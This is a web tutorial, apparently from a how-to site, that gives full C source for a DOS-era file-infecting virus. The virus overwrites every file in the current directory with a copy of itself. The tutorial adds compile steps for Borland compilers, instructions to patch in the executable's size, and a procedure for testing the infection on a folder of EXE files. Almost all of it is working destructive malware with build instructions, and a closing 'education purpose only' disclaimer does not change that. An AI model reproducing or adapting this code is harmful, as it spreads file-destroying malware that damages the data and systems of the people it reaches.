How to Create a Computer Virus

Below program is an example of how to create a virus in C. This program shows a simple virus program which on executing (Running) creates a copy of itself in the other file.And thus it destroys other files by infecting them. Remember one thing, the virus infected file is also capable of spreading the infection to another file and so on.


Just go through the  below steps :-

1.Open C programmer.
2.Write the below code :-
 
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}






3.  Compile it throuch below procedure :-

     USING BORLAND TC++ 3.0 (16-BIT):

   a. Load the program in the compiler, press Alt-F9 to compile

   b. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

   c. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

   d. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

   e. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

 

USING BORLAND C++ 5.5 (32-BIT) :
   1. Compile once,note down the generated EXE file length in bytes
   2. Change the value of X in source code to this length in bytes
   3. Recompile it.The new EXE file is ready to infect

4.Testing :-
   a. Open new empty folder

   b. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW     FOLDER)

   c. Run the virus EXE file there you will see all the files in the current directory get infected.

   d. All the infected files will be ready to reinfect
 
Done!!!!!!!

Note :- For Education Purpose Only , HowCrunch is not responsible for any damage.